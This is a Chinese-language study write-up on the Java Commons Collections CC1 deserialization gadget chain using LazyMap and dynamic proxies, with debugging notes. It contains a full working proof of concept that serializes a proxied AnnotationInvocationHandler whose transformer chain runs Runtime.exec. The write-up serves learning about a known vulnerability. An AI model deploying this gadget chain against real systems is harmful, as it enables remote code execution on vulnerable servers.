CC1-下
目录
1. 前言
JDK版本需要时 8u71之前,尽管使用了动态代理…
也就是说**LazyMap + 动态代理** == TransformedMap。。。。。
相比较于 TransformedMap 链相比,多出来的就是我们要了解 LazyMap ,还有动态代理。
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap 是在写入元素的时候执行transform(),就是在put()数据,写入键值对的时候,会调用它的第二个,第三个参数的 transform() 函数。还有Map.Entry的方法,现在知道,至少setValue()能够了。
The Map put methods and Map.Entry method are affected by this class
LazyMap是在其 get方法中执行的 factory.transform()方法。 为什么是这样的呢?
像P神说的: LazyMap 的作用就是懒加载,在 get 找不到值的时候,他就会调用 factory的transform 方法去获取一个值:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到Map的get方法。
那么我们就找一个类,什么类呢?,就是它会在自己readObject() 中调用到 Map.get() 方法,那么这个类就有潜能。
那么怎么去找呢?就是我们要分析的东西了
利用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
2. 前置知识
2.1 LazyMap
看一下类注释。
翻译:
装饰另一个Map,来按照需求在map中创建对象;当 {@link #get(Object)} 这个方法被调用,且一个键不在map中,工厂将来创建对象,创建的对象将会作为需求key 的 value ,
/**
* Decorates another <code>Map</code> to create objects in the map on demand.
* <p>
* When the {@link #get(Object)} method is called with a key that does not
* exist in the map, the factory is used to create the object. The created
* object will be added to the map using the requested key.
* <p>
* For instance:
* <pre>
* Factory factory = new Factory() {
* public Object create() {
* return new Date();
* }
* }
* Map lazy = Lazy.map(new HashMap(), factory);
* Object obj = lazy.get("NOW");
* </pre>
*
* After the above code is executed, <code>obj</code> will contain
* a new <code>Date</code> instance. Furthermore, that <code>Date</code>
* instance is mapped to the "NOW" key in the map.
* <p>
* This class is Serializable from Commons Collections 3.1.
*
* @since Commons Collections 3.0
* @version $Revision: 1.7 $ $Date: 2004/05/07 23:30:33 $
*
* @author Stephen Colebourne
* @author Paul Jack
*/
public class LazyMappublic class LazyMap
extends AbstractMapDecorator
implements Map, Serializable {
构造方法:
/**
* Factory method to create a lazily instantiated map.
*
* @param map the map to decorate, must not be null
* @param factory the factory to use, must not be null
* @throws IllegalArgumentException if map or factory is null
*/
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
当这个Map调用get()方法,而查找的key又不存在的情况下,这个工厂就会被用来创建新的对象,而且将被添加到这个map中。
和TransformedMap的用法也差不多,都是用来修饰一个Map的,看个例子就懂了
public static void main(String[] args)throws Exception {
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,new ConstantTransformer("adam"));
Object object = outerMap.get("1");
System.out.println(object);
}
outerMap.get("1") 返回的就是 ConstantTransformer("adam") 的那个transform() 方法返回的值,然后这是固定的,就是adam 了。
写一个命令执行: 触发的时候在 get() ,get什么内容随意的,上面懂了的化,自然懂。
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]
}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
Object object = outerMap.get("adam");
2.2 动态代理
之前学过了。我学了个shi,还是不会,
作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我们需要用到 java.reflect.Proxy
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

Proxy.newProxyInstance 的第一个参数是ClassLoader,是要被代理类的ClassLoader。我们用默认的即可;第二个参数是我们要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑**。也就是我们具体是如何代理的。
之类贴一个 y4 师傅的一个劫持学习一下,然后把自己不会的也补了补
package aa;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class demo1 {
public static void main(String[] args) {
/*这个是我们要被代理的实例,传入代理类的构造方法中*/
flag myflag = new GiveFlag();
InvocationHandler handler = new InvocationFlag(myflag);
// 这个差不读是固定的了
/*这个就是我们的代理实例了,代理的类型是 flag类型*/
flag getFlag = (flag) Proxy.newProxyInstance(GiveFlag.class.getClassLoader(),new Class[]{flag.class},handler);
getFlag.getFlag();
getFlag.test();
}
}
interface flag{
void getFlag();
void test();
}
class GiveFlag implements flag{
@Override
public void getFlag() {
System.out.println("your flag flag{afam_s_flag}");
}
@Override
public void test() {
System.out.println("testestset");
}
}
class InvocationFlag implements InvocationHandler{
private flag secretflag;
public InvocationFlag(flag myflag) {
this.secretflag = myflag;
}
@Override
public Object invoke(Object object, Method method, Object[] args) throws Throwable {
System.out.println("====================================");
System.out.println("开始代理了哦"); // 这个 Object object 用不上的,想要用对象的化,在构造方法中让他传参进来
if(method.getName().equals("getFlag")){
System.out.println("Hacker!! no flag");
return null;
}
System.out.println("正常的方法还是帮忙执行的呢");
Object ret = method.invoke(secretflag,args); // 知道了这里 invoke 不能使用 上面的Object,要使用 构造函数传进来的实例对象
return ret;
}
}

补充动态代理重点:
public static void main(String[] args) {
flag myflag = new GiveFlag();
/*这个是我们要被代理的实例,传入代理类的构造方法中*/
/* 这里才是决定我们使用哪一个代理类来帮助我们进行代理的,这个 InvovationFlag 是必须有 invoke() 方法,的当然,不是 new 对象也行,Class.newInstance() 这样的形式也行,只要这个类是有 invoke() 方法的就行, */
InvocationHandler handler = new InvocationFlag(myflag);
// 这个差不读是固定的了
/*这个就是我们的代理实例了,代理的类型是 flag类型 , 我们走的 invoke() 方法就看 第三个参数的 handler 的,而handler是在上面决定的*/
flag getFlag = (flag) Proxy.newProxyInstance(GiveFlag.class.getClassLoader(),new Class[]{flag.class},handler);
getFlag.getFlag();
getFlag.test();
}
用我们这个例子来说:
动态代理:需要实现类 ,然后需要代理类 ,代理类是需要我们自己写的,
然后三个参数,第一个参数不要用,要用实例的化,我们可以在我们的代理类中写一个 构造方法,然后获取到被代理类的实例,然后用invoke执行被代理类 的方法即可,
main()函数中,需要我们将被代理类对象实例当作参数传入代理类对象实例中InvocationHandler handler = new InvocationFlag(myflag);。就是后面这个对象,决定了我们走 invoke() 的时候走的是哪一个 invoke()。
然后再使用Proxy.newProxyInstance(,,第三个参数是我们的代理类对象实例,)获取一个真正代理做事情的对象,
然后我们就用这个真正代理做事情的对象,调用任何被代理类对象实例的任何方法,都会先走代理类对象实例中写的invoke()方法,
如果我们想做什么坏手段,都可以在代理类对象实例中写的invoke()方法中坏事做尽!
就是这里决定的。当然也可以这样:


3. LazyMap 分析
3.1为什么要使用动态代理
之所以会用到动态代理,就是因为如果我们不用TransformedMap而用LazyMap的话,AnnotationInvocationHandler的readObject里面并没有用到get(),但是在invoke()方法中却用到了:
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
我们就用它的原生的invoke()就能够实现我们想要做的坏事了( get() --> transform() )
3.2 漏洞触发点
先得到方法的名字和参数的类型数组,再依次对方法名称的哈希值用**switch判断,如果不是equals,toString,hashCode和annotationType**的话,就会进入default:
default:
Object var6 = this.memberValues.get(var4);
这个memberVallues属性,就是我们构造函数中传入的被装饰后的 Map ,调用了get()方法,然后我们get()一个不存在的属性,然后他就走transform()方法了。就触发了就,这个 memberValues我们也是可控的,可在其构造方法的时候传入

关键是反序列化怎么才能触发这个invoke()方法?注意到 AnnotationInvocationHandler类 继承实现了InvocationHandler类,看到这里我恍然大悟,怪不得和动态代理有关。实际上对动态代理熟一点的话,我看到这个类的名字也就该想到了。
因此大致的思路也就有了,用AnnotationInvocationHandler对我们构造的Map进行代理,这样在readObject中,只要调用了委托对象的任何方法,都会进入AnnotationInvocationHandler#invoke方法中,从而触发了漏洞。
3.3 构造poc
package ysoserial.test.adamtest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class test01 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]
}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc.exe" }),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
// 这里只是包装了一下要被代理的类,
Map proxymap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler
);
//这里我们决定了用哪一个类作为代理,我们这个对象是必须有 `invoke()` 方法的
Object o = construct.newInstance(Retention.class,proxymap);
byte[] bytes = serialize(o);
unserialize(bytes);
}
private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
ois.readObject();
}
private static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
// 这里是用 ByteArrayOutputStram()来盛放。
ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
oos.writeObject(o);
return baos.toByteArray();
}
}

这里我直接尝试序列化 proxyMap。但是在反序列化的时候没有成功,跟了一下,是动态代理没展现出来,
一个细节上的问题就是产生了
代理的proxyMap后,还需要再利用它来生成一个AnnotationInvocationHandler对象,Object o = cons.newInstance(Retention.class, proxyMap); byte[] bytes = serialize(o); unserialize(bytes);因为要序列化和反序列化的是
AnnotationInvocationHandler对象。
实际上,经过构造后,只要调用了AnnotationInvocationHandler的memberValues(也就是我们的proxyMap)的任何方法,都会触发漏洞
4.从反序列化的角度来看poc
4.1跟着debug
我们最后是序列化AnnotationInvocationHandler 这个类,
入口时AnnotationInvocationHandler的readObject:(其实入口可长了,我跟了好久才跟到这个的,,)

AnnotationInvocationHandler的memberValues是一个LazyMap的类型就是哦我们刚开始传入的代理map

然后因为是代理proxymap,然后会走代理类的invoke()也就是AnnotationInvocationHandler的invoke()。

可见,对象和方法都没错的。走到了下面的 default。就调用了LazyMap#get() 了

后面的应该就简单了

跟着 Chaintransform 就走完了

这里的readObject又调用了this.memberValues的entrySet方法。如果这里的 memberValues 是个代理类,那
么就会调用memberValues对应handler的invoke方法,cc1中将handler设置为AnnotationInvocationHandler (其实现了InvocationHandler,所以可以被设置为代理类的handler)。
4.2 利用链分析:
入口时AnnotationInvocationHandler的readObject:
在 readObject 时,会触发AnnotationInvocationHandler#readObject方法

此时调用了this.memberValues.entrySet,而this.memberValues是之前构造好的proxy_map,由于这是一个被代理对象,所以调用其方法时,会去调用其的代理类,也就是handler,的invoke 方法。

然后AnnotationInvocationHandler#invoke()、此时的this.memberValues为之前设置好的lazymap,所以这里调用的是lazymap#get,从而触发后边的rce链。

4.3 唯一比较绕的点是
我们想走AnnotationInvocationHandler的invoke(),然后走LazyMap#get()。
那么我们就需要有一个被AnnotationInvocationHandler代理的对象,来执行一个方法,从而调用AnnotationInvocationHandler的invvoke。那么找哪一个被代理的对象呢?
我们选的是 LazyMap类的outermap。然后让Map类的proxymap,代表AnnotationInvocationHandler来代理Lazymap的outermap。
但是反序列化过程中又不好直接让outermap执行一个方法,所以我们还是让AnnotationInvocationHandler来帮忙,
在AnnotationInvocationHandler的readObject()中能让outermap执行方法,从而调用AnnotationInvocationHandler的invoke()。
看起来绕,我们实例化了两次AnnotationInvocationHandler。但其实,一次是作为代理对象使用的,一次是作为*反序列化入口使用的。
过程类似如下:
AnnotationInvocationHandler#readObject()—>被代理对象----->AnnotationInvocationHandler#invoke()。
这两个AnnotationInvocationHandler不是同一个。
5. 版本问题
依旧只适用于 8u71之前。
6.参考:
https://paper.seebug.org/1242/#_6
https://y4tacker.blog.csdn.net/article/details/117448761
https://ego00.blog.csdn.net/article/details/119705730
《java安全漫谈11》